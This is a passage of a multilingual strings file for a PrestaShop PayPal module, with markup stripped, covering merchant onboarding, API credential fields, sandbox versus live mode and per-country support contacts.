Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=48 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=50 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=49 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=50 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 0800 50970 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=42 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=43 + + + Sign Up + + + + + Apply + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 400-680-6220 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=58 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=59 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Ja + Nein + Schnell, einfach, sicher + Mit Sicherheit + mehr Umsatz + + PayPal in Ihrem Shop zu aktivieren dauert nur 5 Minuten + + Mehr Kunden akquirieren
        15 Millionen PayPal-Kunden in Deutschland +
      • Mehr Sicherheit genießen
        Der PayPal-Verkäuferschutz sichert Sie im Fall der Fälle ab
      • +
      • Mehr Umsatz generieren
        Steigern Sie Ihren Umsatz um durchschnittlich 18,7%
      • +
      • Mehr Schutz schaffen
        Ihre Warenkorb-Informationen werden nicht weitergegeben
      • + ]]> +
        + + Ihr Land + Ändern + Select your country + + Haben Sie Fragen?]]> Rufen Sie uns an: 01805 23 32 05 + call + (Maximal 14 Cent/Min. aus dem Festnetz. Für Anrufe aus Mobilfunknetzen fallen Gebühren von maximal 42 Cent/Min. an.) + + Haben Sie bereits ein PayPal-Konto + Wählen Sie Ihre PayPal-Lösung aus + Mehr erfahren]]> + + Möchten Sie PayPal in Ihrem Online-Shop anbieten ? + Need PayPal in addition to your existing card processor ? + + Wählen Sie + + PayPal Express + + Sie profitieren von weniger Kaufabbrüchen und profitieren so von mehr Umsatz. + + + + + + + + + + + Eröffnen Sie ein PayPal-Geschäftskonto + + So aktivieren Sie PayPal in Ihrem Online-Shop oder auf Ihrer Webseite + + Übermitteln Sie die Daten Ihrer API-Schnittstelle an PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + API Informationen abrufen + Nachdem Sie auf "API Informationen abrufen" geklickt haben, geben Sie bitte Ihren PayPal Login-Namen und das Passwort in das Pop-Up ein, kopieren Sie dann die Infos, um Sie in die unten stehenden Felder einzusetzen. + API-Name + API-Passwort + API-Signatur + API business e-mail + Bitte überprüfen Sie Ihre Angaben auf Vollständigkeit. + + Schließen Sie den Anmeldeprozess für Ihr PayPal-Konto ab + Bestätigen Sie Ihre E-Mail-Adresse: PayPal hat Ihnen nach der Kontoeröffnung eine mail mit weiteren Informatonen gesendet. + Fügen Sie in Ihrem PayPal-Konto Ihr Bankkonto oder Ihre Kreditkarte hinzu. Loggen Sie sich in Ihren PayPal Account ein und klicken auf "Mein Geschäftskonto einrichten". + + Weitere Einstellungen + + Bitte wählen Sie, welche Lösung Sie nutzen möchten + iFrame + Full Page redirect + Bitte wählen Sie Ihr Template + + + Nutzen Sie Express Checkout Shortcut + Per Klick gelangen Ihre Kunden ohne Umwege direkt zur PayPal-Zahlungsseite + + Nutzen Sie die Sandbox + (empfohlen) + Damit können Sie den PayPal-Bezahlfluss in einer Test-Umgebung ausprobieren. + Mehr erfahren. + http://www.paypalobjects.com/de_DE/html/IntegrationCenter/ic_sandbox.html + Reale Umgebung (empfohlen) + Test-Umgebung + + Wenn Sie die Test-Umgebung aktivieren + + Können Sie keine Zahlungen empfangen. +
      • Müssen Sie auf diese Seite zurückkehren, um Schritt 3 abzuschließen.
      • +
      • Sollten Sie einen Zugang zur PayPal-Sanbox einrichten. (Mehr erfahren)
      • +
      • Sollten Sie Programierkenntnisse mitbringen.
      • + ]]> +
        + Sind Sie sicher, die Test-Umgebung jetzt zu aktivieren ? + + Zahlungsweise + + Wählen Sie Ihren Weg der Zahlungsabwicklung (automatische oder manuelle Autorisierung).]]> + Der PayPal-Verkäuferschutz sichert Sie ab, wenn Ihre Käufer mit PayPal bezahlen. ]]>Und so funktioniert es]]>. + + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Speichern + + Sie können keine Zahlungen empfangen, wenn Sie nicht die notwendigen Informationen in Schritt 3 angeben. + + Herzlichen Glückwunsch ! + Nun ist PayPal aktiviert und Sie können Zahlungen empfangen. + Jetzt können Sie die PayPal-Lösungen ausprobieren. Vergessen Sie bitte nicht, hierher zurückzukommen, um die reale Umgebung zu aktivieren. Denn sonst können Sie keine Zahlungen empfangen. + + + JETZT ANMELDEN + Sobald Sie das Konto eröffnet haben, fahren Sie bitte mit Schritt 3 fort. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=14 + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + + + Sí + No + Pague con su tarjeta de débito, crédito o su cuenta PayPal + + + La forma rápida y segura de pagar en Internet + Aceptar pagos con PayPal sólo le llevará ]]>unos minutos]]> + + Consiga más clientes
        Más de 100 millones de cuentas activas en el mundo +
      • Acceda a clientes internacionales
        En 190 países y en 25 divisas
      • +
      • Facilite y mejore la experiencia de compra a sus clientes
        Sus clientes pagan en dos clicos
      • +
      • Pagos sin compartir los datos financieros.
        Acepte pagos con tarjeta y cuenta bancaria
      • + ]]> +
        + + Su país + change + Select your country + + ¿Necesita ayuda? Póngase en contacto con nosotros]]> + mail + + + ¿Ya tiene una cuenta PayPal Empresas? + Seleccione su solución + Más información]]> + + ¿Necesita PayPal para procesar todos sus pagos con tarjeta? + ¿Desea aceptar PayPal como forma de pago adicional a su pasarela actual? + + Elija + + Pago estándar + Comience a aceptar pagos al instante. Sin comisiones de alta, mantenimiento o cancelación, la única tarifa que se paga es cuando se recibe un pago. + + PayPal Pasarela Integral + + Una pasarela todo en uno para aceptar pagos con tarjetas y con cuenta PayPal.]]> + Además de poder personalizar su flujo de pago, cuenta con un programa de protección*.]]> + Flujo de pago personalizado. Todo por una tarifa mensual de 15 eur.]]> + * Ver téminos y condiciones de Pasarela Integral de PayPal]]> + + Haga clic en el botón GUARDAR solo cuando PayPal apruebe su suscripción para este producto. Este proceso puede tardar 3-5 días. + + Pago exprés + Aumente sus ventas online en un 18%* + *Fuente: Estudio independiente realizado por Ipsos Public Affairs en julio de 2010, los vendedores online reportaron un incremento medio del 18% en sus ventas al añadir Pago exprés en su web. + + Abra su cuenta PayPal Empresas + + Active su tienda online para aceptar pagos con PayPal + + Comunique su información de identificación de PayPal a PrestaShop + Indique el correo electrónico asociado a su cuenta PayPal Empresas + Obtener mis datos de Identificación de PayPal + Después de hacer clic en el botón "Obtener mis datos de identificación en PayPal", introduzca su nombre de usuario y contraseña en la ventana emergente, copie sus datos de identificación de la ventana emergente y péguelos en los campos correspondientes. + Nombre de usuario de API + Contraseña de API + Firma + Correo electrónico en PayPal + Asegúrese de incluir todos los caracteres, comprueba una vez más que ha pegado todos los caracteres. + + Para finalizar configure su cuenta PayPal siguiendo estos pasos + Confirme su dirección de correo electrónico: compruebe el correo electrónico enviado por PayPal al crear su cuenta + Añada una tarjeta o cuenta bancaria a su cuenta PayPal: inicie sesión en su cuenta PayPal y vaya a "Verificar mi tarjeta" + + Opciones de configuración + + Seleccione la solución que desea usar + Iframe + Redirección de página completa + Seleccione una plantilla + + Utilice Pago exprés (acceso rápido) + Ofrezca a sus clientes una opción de pago con tan solo 2 clics + + Utilice el entorno de prueba Sandbox + (recomendado) + Active un entorno de prueba en su cuenta PayPal (solo si es programador). + Más Información + Modo real (recomendado) + Modo de prueba + + La activación del modo de prueba implica que + + No podrá aceptar pagos. +
      • Tendrá que regresar a la página de PayPal para completar el paso 3 antes de estar en modo real.
      • +
      • Tendrá que crear una cuenta en el entorno Sandbox de PayPal (Más información)
      • +
      • Necesitará conocimientos de programación
      • + ]]> +
        + ¿Está seguro que desea activar el modo de prueba? + + Método de pago + Elija su forma de procesar los pagos (autorización automática o manual). + Direct sales + Authorization/Manual capture (payment shipping) + + Guardar + + Tiene que completar los datos de Identificación de PayPal en el paso 3 para que pueda aceptar pagos. + + Enhorabuena ! + Ya puede aceptar pagos con PayPal. + Ya puede probar las soluciones de PayPal. No olvide volver a esta página para activar el modo real y poder aceptar pagos. + + + Abrir una cuenta + Una vez que haya abierto su cuenta, regrese a esta página para completar el paso 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=10 + + + Solicitar + + Haga clic en el botón GUARDAR solo cuando PayPal apruebe su suscripción para este producto. Este proceso puede tardar 3-5 días. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=12 + + + Abrir una cuenta + Una vez que haya abierto su cuenta, regrese a esta página para completar el paso 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=11 + + + + Solicitar + + Haga clic en el botón GUARDAR solo cuando PayPal apruebe su suscripción para este producto. Este proceso puede tardar 3-5 días]]> + Si PayPal ya ha aprobado su solicitud de Pasarela integral, vaya directamente ]]>al paso 3.]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=12 + + +
        + + + Oui + Non + Payez par carte ou par compte PayPal + Leader des + paiements en ligne + Plus simple, plus rapide et plus sûr pour vos clients. + Commencer avec PayPal ne prend que ]]>5 minutes]]> + + Touchez plus de clients
        Plus de 100 millions de comptes actifs à travers le monde +
      • Acceptez les paiements à l'international
        190 pays, 25 devises
      • +
      • Rassurez vos clients
        Ils n'ont pas besoin de partager leurs informations confidentielles
      • +
      • Acceptez les principaux moyens de paiements
        Visa, Mastercard, Carte Bleue, Aurore, Cofinoga, 4 Etoiles, PayPal
      • + ]]> +
        + + Traduis dans votre langue + + Votre pays + changer + Select your country + + Besoin d'aide ?]]> Appelez nous au 0800 942 850* + call + * Appel gratuit depuis un poste fixe, 7 jours /7 de 9h00 à 18h30. + + Vous possédez déjà un compte PayPal Professionnel + Choisissez votre solution + En savoir plus]]> + + Besoin de PayPal pour accepter tous les paiements par carte ? + Besoin d'ajouter le bouton PayPal en tant que moyen de paiement supplémentaire ? + + Choisissez + + PayPal Intégral + + Acceptez immédiatement les principaux moyens de paiements du web. Pas de frais fixe ni d'engagement de durée. Payez seulement à la réception des paiements. + + + PayPal Intégral Evolution + + Une plateforme de paiement complète, une protection des paiements en plus*.]]> + Ayez la possibilité de personnaliser votre page de paiement. Abonnement mensuel de 25€. + ]]>*Soumis à conditions, voir les ]]>conditions d'utilisation]]> + + PayPal Integral Evolution est soumis à conditions et le traitement de votre inscription peut prendre 3 à 5 jours ouvrés. Merci de ne cliquer sur le bouton "Sauvegardez" en bas de la page qu'une fois votre inscription validée par PayPal. + + PayPal Option + + Ajoutez PayPal Option + peut générer 20 à 30 % de ventes additionnelles*. + *Source: Étude Forrester réalisée en mars 2011 + + Souscrivez ou ouvrez un compte PayPal Professionnel + + Configurez votre solution pour commencer à accepter les paiements + + Communiquez vos informations d'identification PayPal à PrestaShop + Indiquez l'email que vous avez utilisé pour créer votre compte PayPal professionnel + Obtenir mes informations d'identification PayPal + Après avoir cliqué sur le bouton "Obtenir mes informations d'identification PayPal", entrez vos identifiant et mot de passe PayPal dans la fenêtre qui s'affichera, copier les informations fournies par PayPal et collez les dans les champs ci-dessous. + Identifiant API + Mot de passe API + Signature + E-mail compte PayPal professionnel + Merci de vérifier que vous avez bien collé l'ensemble des caractères, certain champs contiennent beaucoup de caractères. + + Pour finir la configuration de votre compte PayPal + Confirmer votre adresse e-mail en suivant la procédure envoyée par PayPal lors de la création de votre compte + Lier votre compte PayPal à un compte bancaire ou à une carte bancaire. Connectez-vous à votre compte PayPal et rendez-vous dans la section "Premier pas" + + Options de configuration PayPal + + Choisissez votre solution + Iframe + Redirection complète de la page + Choisissez un template + + Utilisez PayPal Express + Offrez à vos clients la possibilité de payer en 2 clics + + Utilisez la Sandbox + (recommandé) + Mettez en place un environnement de test dans votre compte PayPal (seulement si vous êtes un développeur). + Plus d'infos + Mode réel (recommandé) + Mode test + + Activer le mode test implique que + + Vous ne serez pas en mesure d'accepter les paiements immédiatement +
      • Vous devrez créer un compte test sur le site PayPal sandbox. (plus d'infos)
      • +
      • Vous aurez besoin de compétences en développement
      • +
      • Vous devrez revenir à la page du module PayPal afin de compléter l'étape 3 avec les informations d'identification de votre compte test
      • +
      • Pour passer en mode réel, vous devrez revenir sur la page du module PayPal et indiquer vos informations d'identification PayPal à nouveau
      • + ]]> +
        + Êtes vous sûr de vouloir activer le mode test ? + + Type de paiement + Choisissez votre manière de valider les paiements (Automatique vs. Autorisation manuelle). + Direct sales + Authorization/Manual capture (payment shipping) + + Sauvegardez + + Vous devrez compléter l'ensemble des informations d'identification PayPal durant l'étape 3 autrement vous ne serez pas en mesure d'accepter les paiements. + + Bravo ! + Vous pouvez maintenant commencer à accepter les paiements avec PayPal. + Vous pouvez maintenant commencer à tester les solutions PayPal. N'oubliez surtout pas de revenir sur cette page et d'activer le mode réel afin de commencer à accepter les paiements. + + + Ouvrez un compte + Une fois votre compte créé, revenez sur cette page pour compléter l'étape 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=2 + + + Souscrivez + + PayPal Integral Evolution est soumis à conditions et la validation de votre inscription peut prendre 3 à 5 jours ouvrés.]]> + Veuillez ne cliquer sur le bouton "Sauvegardez" en bas de la page qu'une fois votre inscription validée par PayPal + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + + Ouvrez un compte + Une fois votre compte créé, revenez sur cette page pour compléter l'étape 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=3 + + + + Souscrivez + + PayPal Integral Evolution est soumis à conditions et la validation de votre inscription peut prendre 3 à 5 jours ouvrés.]]> + Veuillez ne cliquer sur le bouton "Sauvez" en bas de la page qu'une fois votre inscription validée par PayPal sinon vous ne serez pas en mesure d'accepter les paiements.]]> + Si votre souscription à PayPal Intégral Evolution a déjà été validée par PayPal, merci d'aller directement à ]]>l'étape 3]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call on 0844 338 0470 + call + + + Already have a PayPal Business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]> Monthly subscription of £20. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + PayPal Business account e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=39 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=40 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=39 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=40 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 852-3550-8574 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted Solution + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]>Monthly subscription of HKD$200. To sign-up, please contact a PayPal customer service representative. + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=61 + + + Apply + + "Contact a PayPal sales representative at +852 3550 8584 or email us via the following button]]> + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days" + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=81 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=62 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=81 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Visit www.Paypal.com]]> + + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=23 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=24 + + + Sign Up + + + + + Apply + + + + + + + + +
        + + + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
